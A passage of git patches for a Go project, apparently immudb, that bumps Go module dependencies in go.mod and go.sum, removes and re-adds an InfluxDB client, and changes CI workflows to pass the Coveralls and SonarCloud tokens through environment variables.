v1.6.0 // indirect github.com/golang/protobuf v1.5.3 // indirect - github.com/google/uuid v1.3.1 // indirect + github.com/google/uuid v1.4.0 // indirect github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect github.com/grpc-ecosystem/grpc-gateway v1.16.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect @@ -36,11 +36,11 @@ require ( github.com/spf13/pflag v1.0.5 // indirect github.com/spf13/viper v1.15.0 // indirect github.com/subosito/gotenv v1.4.2 // indirect - golang.org/x/crypto v0.14.0 // indirect + golang.org/x/crypto v0.17.0 // indirect golang.org/x/net v0.17.0 // indirect - golang.org/x/sys v0.13.0 // indirect - golang.org/x/term v0.13.0 // indirect - golang.org/x/text v0.13.0 // indirect + golang.org/x/sys v0.15.0 // indirect + golang.org/x/term v0.15.0 // indirect + golang.org/x/text v0.14.0 // indirect google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 // indirect google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect diff --git a/test/columns/go.sum b/test/columns/go.sum index 265e3af59d..e4add9067e 100644 --- a/test/columns/go.sum +++ b/test/columns/go.sum @@ -152,8 +152,8 @@ github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLe github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4= -github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4= +github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= @@ -296,8 +296,8 @@ golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8U golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc= -golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= +golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k= +golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -433,11 +433,11 @@ golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= -golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= +golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.13.0 h1:bb+I9cTfFazGW51MZqBVmZy7+JEJMouUHTUSKVQLBek= -golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= +golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4= +golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -445,8 +445,8 @@ golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k= -golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= From bcfa032a5b3977b2ba661d93b1168c805a175161 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Tue, 19 Dec 2023 16:59:36 +0100 Subject: [PATCH 0956/1062] fix: remove influxdb dependencies --- go.mod | 2 -- go.sum | 4 ---- 2 files changed, 6 deletions(-) diff --git a/go.mod b/go.mod index 7318a70721..fadac9d989 100644 --- a/go.mod +++ b/go.mod @@ -12,7 +12,6 @@ require ( github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 github.com/grpc-ecosystem/grpc-gateway v1.16.0 github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0 - github.com/influxdata/influxdb-client-go/v2 v2.12.3 github.com/jackc/pgx/v4 v4.16.1 github.com/jaswdr/faker v1.16.0 github.com/lib/pq v1.10.9 @@ -66,7 +65,6 @@ require ( github.com/huandu/xstrings v1.3.2 // indirect github.com/imdario/mergo v0.3.13 // indirect github.com/inconshreveable/mousetrap v1.0.1 // indirect - github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 // indirect github.com/jackc/chunkreader/v2 v2.0.1 // indirect github.com/jackc/pgconn v1.12.1 // indirect github.com/jackc/pgio v1.0.0 // indirect diff --git a/go.sum b/go.sum index b53b2de940..4eecbc7445 100644 --- a/go.sum +++ b/go.sum @@ -1101,10 +1101,6 @@ github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= -github.com/influxdata/influxdb-client-go/v2 v2.12.3 h1:28nRlNMRIV4QbtIUvxhWqaxn0IpXeMSkY/uJa/O/vC4= -github.com/influxdata/influxdb-client-go/v2 v2.12.3/go.mod h1:IrrLUbCjjfkmRuaCiGQg4m2GbkaeJDcuWoxiWdQEbA0= -github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 h1:W9WBk7wlPfJLvMCdtV4zPulc4uCPrlywQOmbFOhgQNU= -github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0= github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= From 2d12c992db858dbc9ba87283312675f77a5ff6e6 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 20 Dec 2023 10:44:38 +0100 Subject: [PATCH 0957/1062] chore: use goveralls token variable --- .github/workflows/pull.yml | 4 +++- .github/workflows/push.yml | 4 +++- ext-tools/goveralls | 2 +- 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index 2fe442240c..89e6dbca3a 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -153,10 +153,12 @@ jobs: set -o pipefail ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,fs,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger --tags minio || true cat coverage.txt | grep -v "test" | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "fs" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out - ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} + ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken "$SECRET_TOKEN" # Stop minio docker rm -f minio + env: + SECRET_TOKEN: ${{ secrets.COVERALLS_TOKEN }} - name: Analyze with SonarCloud uses: sonarsource/sonarcloud-github-action@master env: diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 7f7fc22a0b..abfaf07506 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -320,10 +320,12 @@ jobs: set -o pipefail ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,fs,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger --tags minio || true cat coverage.txt | grep -v "test" | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "fs" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out - ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} + ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken "$SECRET_TOKEN" # Stop minio docker rm -f minio + env: + SECRET_TOKEN: ${{ secrets.COVERALLS_TOKEN }} - name: Analyze with SonarCloud uses: sonarsource/sonarcloud-github-action@master env: diff --git a/ext-tools/goveralls b/ext-tools/goveralls index b9dd150579..755109aa76 100755 --- a/ext-tools/goveralls +++ b/ext-tools/goveralls @@ -1,3 +1,3 @@ #!/usr/bin/env bash -go run github.com/mattn/goveralls "$@" \ No newline at end of file +go run github.com/mattn/goveralls "$@" From 292e8c5e48be498f9b0f077039027a33bdc827ed Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 20 Dec 2023 11:36:32 +0100 Subject: [PATCH 0958/1062] Revert "Merge remote-tracking branch 'origin/dependabot/go_modules/github.com/rogpeppe/go-internal-1.12.0' into release/v1.9.2" This reverts commit 1f953437dbfd93d75db8d402410d2e3a04d1ae13, reversing changes made to ac7915ee178573b1c843514b64e28219535f4779. --- go.mod | 2 +- go.sum | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index fadac9d989..e53cc76dcb 100644 --- a/go.mod +++ b/go.mod @@ -25,7 +25,7 @@ require ( github.com/prometheus/common v0.32.1 github.com/prometheus/procfs v0.7.3 github.com/pseudomuto/protoc-gen-doc v1.4.1 - github.com/rogpeppe/go-internal v1.12.0 + github.com/rogpeppe/go-internal v1.9.0 github.com/rs/xid v1.5.0 github.com/schollz/progressbar/v2 v2.15.0 github.com/spf13/cobra v1.6.1 diff --git a/go.sum b/go.sum index 4eecbc7445..91279b3f33 100644 --- a/go.sum +++ b/go.sum @@ -1360,9 +1360,8 @@ github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6So github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= +github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= -github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= -github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4= github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= From d143b42683b788b39954cc6ba394b777073ab4a0 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 20 Dec 2023 11:38:02 +0100 Subject: [PATCH 0959/1062] chore: add influxdb (needed for performance test) dependency chore: add module checksums chore: mod tidy chore: enabled sonar debug flag test with new token --- .github/workflows/pull.yml | 2 +- .github/workflows/push.yml | 2 +- go.mod | 15 +- go.sum | 1490 +----------------------------------- sonar-project.properties | 2 + 5 files changed, 35 insertions(+), 1476 deletions(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index 89e6dbca3a..ba78d4a14a 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -163,7 +163,7 @@ jobs: uses: sonarsource/sonarcloud-github-action@master env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} + SONAR_TOKEN: ${{ secrets.SONAR_NEW_TOKEN }} performance-test-suite-detect-runners: runs-on: ubuntu-latest diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index abfaf07506..d7f62a309f 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -330,4 +330,4 @@ jobs: uses: sonarsource/sonarcloud-github-action@master env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} + SONAR_TOKEN: ${{ secrets.SONAR_NEW_TOKEN }} diff --git a/go.mod b/go.mod index e53cc76dcb..6900a93f5e 100644 --- a/go.mod +++ b/go.mod @@ -12,6 +12,7 @@ require ( github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 github.com/grpc-ecosystem/grpc-gateway v1.16.0 github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0 + github.com/influxdata/influxdb-client-go/v2 v2.13.0 github.com/jackc/pgx/v4 v4.16.1 github.com/jaswdr/faker v1.16.0 github.com/lib/pq v1.10.9 @@ -31,10 +32,10 @@ require ( github.com/spf13/cobra v1.6.1 github.com/spf13/pflag v1.0.5 github.com/spf13/viper v1.15.0 - github.com/stretchr/testify v1.8.2 + github.com/stretchr/testify v1.8.4 github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.17.0 - golang.org/x/net v0.19.0 + golang.org/x/net v0.17.0 golang.org/x/sys v0.15.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d @@ -50,12 +51,12 @@ require ( github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect + github.com/apapsch/go-jsonmerge/v2 v2.0.0 // indirect github.com/beorn7/perks v1.0.1 // indirect github.com/cespare/xxhash v1.1.0 // indirect github.com/cespare/xxhash/v2 v2.2.0 // indirect github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect github.com/davecgh/go-spew v1.1.1 // indirect - github.com/deepmap/oapi-codegen v1.8.2 // indirect github.com/dgraph-io/ristretto v0.0.2 // indirect github.com/envoyproxy/protoc-gen-validate v0.10.1 // indirect github.com/fsnotify/fsnotify v1.6.0 // indirect @@ -65,6 +66,7 @@ require ( github.com/huandu/xstrings v1.3.2 // indirect github.com/imdario/mergo v0.3.13 // indirect github.com/inconshreveable/mousetrap v1.0.1 // indirect + github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 // indirect github.com/jackc/chunkreader/v2 v2.0.1 // indirect github.com/jackc/pgconn v1.12.1 // indirect github.com/jackc/pgio v1.0.0 // indirect @@ -73,8 +75,8 @@ require ( github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect github.com/jackc/pgtype v1.11.0 // indirect github.com/magiconair/properties v1.8.7 // indirect - github.com/mattn/go-colorable v0.1.12 // indirect - github.com/mattn/go-isatty v0.0.14 // indirect + github.com/mattn/go-colorable v0.1.13 // indirect + github.com/mattn/go-isatty v0.0.19 // indirect github.com/mattn/go-runewidth v0.0.13 // indirect github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect @@ -84,10 +86,11 @@ require ( github.com/mitchellh/reflectwalk v1.0.2 // indirect github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007 // indirect github.com/nsf/termbox-go v1.1.1 // indirect + github.com/oapi-codegen/runtime v1.0.0 // indirect github.com/ory/viper v1.7.5 // indirect github.com/pborman/uuid v1.2.0 // indirect github.com/pelletier/go-toml v1.9.5 // indirect - github.com/pelletier/go-toml/v2 v2.0.6 // indirect + github.com/pelletier/go-toml/v2 v2.0.9 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect github.com/pseudomuto/protokit v0.2.1 // indirect diff --git a/go.sum b/go.sum index 91279b3f33..ed8e254b50 100644 --- a/go.sum +++ b/go.sum @@ -13,747 +13,26 @@ cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKV cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= -cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= -cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= -cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= -cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= -cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= -cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY= -cloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM= -cloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY= -cloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ= -cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI= -cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4= -cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc= -cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA= -cloud.google.com/go v0.100.1/go.mod h1:fs4QogzfH5n2pBXBP9vRiU+eCny7lD2vmFZy79Iuw1U= -cloud.google.com/go v0.100.2/go.mod h1:4Xra9TjzAeYHrl5+oeLlzbM2k3mjVhZh4UqTZ//w99A= -cloud.google.com/go v0.102.0/go.mod h1:oWcCzKlqJ5zgHQt9YsaeTY9KzIvjyy0ArmiBUgpQ+nc= -cloud.google.com/go v0.102.1/go.mod h1:XZ77E9qnTEnrgEOvr4xzfdX5TRo7fB4T2F4O6+34hIU= -cloud.google.com/go v0.104.0/go.mod h1:OO6xxXdJyvuJPcEPBLN9BJPD+jep5G1+2U5B5gkRYtA= -cloud.google.com/go v0.105.0/go.mod h1:PrLgOJNe5nfE9UMxKxgXj4mD3voiP+YQ6gdt6KMFOKM= -cloud.google.com/go v0.107.0/go.mod h1:wpc2eNrD7hXUTy8EKS10jkxpZBjASrORK7goS+3YX2I= -cloud.google.com/go v0.110.0/go.mod h1:SJnCLqQ0FCFGSZMUNUf84MV3Aia54kn7pi8st7tMzaY= -cloud.google.com/go v0.110.2/go.mod h1:k04UEeEtb6ZBRTv3dZz4CeJC3jKGxyhl0sAiVVquxiw= -cloud.google.com/go v0.110.4/go.mod h1:+EYjdK8e5RME/VY/qLCAtuyALQ9q67dvuum8i+H5xsI= -cloud.google.com/go v0.110.6/go.mod h1:+EYjdK8e5RME/VY/qLCAtuyALQ9q67dvuum8i+H5xsI= -cloud.google.com/go/accessapproval v1.4.0/go.mod h1:zybIuC3KpDOvotz59lFe5qxRZx6C75OtwbisN56xYB4= -cloud.google.com/go/accessapproval v1.5.0/go.mod h1:HFy3tuiGvMdcd/u+Cu5b9NkO1pEICJ46IR82PoUdplw= -cloud.google.com/go/accessapproval v1.6.0/go.mod h1:R0EiYnwV5fsRFiKZkPHr6mwyk2wxUJ30nL4j2pcFY2E= -cloud.google.com/go/accessapproval v1.7.1/go.mod h1:JYczztsHRMK7NTXb6Xw+dwbs/WnOJxbo/2mTI+Kgg68= -cloud.google.com/go/accesscontextmanager v1.3.0/go.mod h1:TgCBehyr5gNMz7ZaH9xubp+CE8dkrszb4oK9CWyvD4o= -cloud.google.com/go/accesscontextmanager v1.4.0/go.mod h1:/Kjh7BBu/Gh83sv+K60vN9QE5NJcd80sU33vIe2IFPE= -cloud.google.com/go/accesscontextmanager v1.6.0/go.mod h1:8XCvZWfYw3K/ji0iVnp+6pu7huxoQTLmxAbVjbloTtM= -cloud.google.com/go/accesscontextmanager v1.7.0/go.mod h1:CEGLewx8dwa33aDAZQujl7Dx+uYhS0eay198wB/VumQ= -cloud.google.com/go/accesscontextmanager v1.8.0/go.mod h1:uI+AI/r1oyWK99NN8cQ3UK76AMelMzgZCvJfsi2c+ps= -cloud.google.com/go/accesscontextmanager v1.8.1/go.mod h1:JFJHfvuaTC+++1iL1coPiG1eu5D24db2wXCDWDjIrxo= -cloud.google.com/go/aiplatform v1.22.0/go.mod h1:ig5Nct50bZlzV6NvKaTwmplLLddFx0YReh9WfTO5jKw= -cloud.google.com/go/aiplatform v1.24.0/go.mod h1:67UUvRBKG6GTayHKV8DBv2RtR1t93YRu5B1P3x99mYY= -cloud.google.com/go/aiplatform v1.27.0/go.mod h1:Bvxqtl40l0WImSb04d0hXFU7gDOiq9jQmorivIiWcKg= -cloud.google.com/go/aiplatform v1.35.0/go.mod h1:7MFT/vCaOyZT/4IIFfxH4ErVg/4ku6lKv3w0+tFTgXQ= -cloud.google.com/go/aiplatform v1.36.1/go.mod h1:WTm12vJRPARNvJ+v6P52RDHCNe4AhvjcIZ/9/RRHy/k= -cloud.google.com/go/aiplatform v1.37.0/go.mod h1:IU2Cv29Lv9oCn/9LkFiiuKfwrRTq+QQMbW+hPCxJGZw= -cloud.google.com/go/aiplatform v1.45.0/go.mod h1:Iu2Q7sC7QGhXUeOhAj/oCK9a+ULz1O4AotZiqjQ8MYA= -cloud.google.com/go/aiplatform v1.48.0/go.mod h1:Iu2Q7sC7QGhXUeOhAj/oCK9a+ULz1O4AotZiqjQ8MYA= -cloud.google.com/go/analytics v0.11.0/go.mod h1:DjEWCu41bVbYcKyvlws9Er60YE4a//bK6mnhWvQeFNI= -cloud.google.com/go/analytics v0.12.0/go.mod h1:gkfj9h6XRf9+TS4bmuhPEShsh3hH8PAZzm/41OOhQd4= -cloud.google.com/go/analytics v0.17.0/go.mod h1:WXFa3WSym4IZ+JiKmavYdJwGG/CvpqiqczmL59bTD9M= -cloud.google.com/go/analytics v0.18.0/go.mod h1:ZkeHGQlcIPkw0R/GW+boWHhCOR43xz9RN/jn7WcqfIE= -cloud.google.com/go/analytics v0.19.0/go.mod h1:k8liqf5/HCnOUkbawNtrWWc+UAzyDlW89doe8TtoDsE= -cloud.google.com/go/analytics v0.21.2/go.mod h1:U8dcUtmDmjrmUTnnnRnI4m6zKn/yaA5N9RlEkYFHpQo= -cloud.google.com/go/analytics v0.21.3/go.mod h1:U8dcUtmDmjrmUTnnnRnI4m6zKn/yaA5N9RlEkYFHpQo= -cloud.google.com/go/apigateway v1.3.0/go.mod h1:89Z8Bhpmxu6AmUxuVRg/ECRGReEdiP3vQtk4Z1J9rJk= -cloud.google.com/go/apigateway v1.4.0/go.mod h1:pHVY9MKGaH9PQ3pJ4YLzoj6U5FUDeDFBllIz7WmzJoc= -cloud.google.com/go/apigateway v1.5.0/go.mod h1:GpnZR3Q4rR7LVu5951qfXPJCHquZt02jf7xQx7kpqN8= -cloud.google.com/go/apigateway v1.6.1/go.mod h1:ufAS3wpbRjqfZrzpvLC2oh0MFlpRJm2E/ts25yyqmXA= -cloud.google.com/go/apigeeconnect v1.3.0/go.mod h1:G/AwXFAKo0gIXkPTVfZDd2qA1TxBXJ3MgMRBQkIi9jc= -cloud.google.com/go/apigeeconnect v1.4.0/go.mod h1:kV4NwOKqjvt2JYR0AoIWo2QGfoRtn/pkS3QlHp0Ni04= 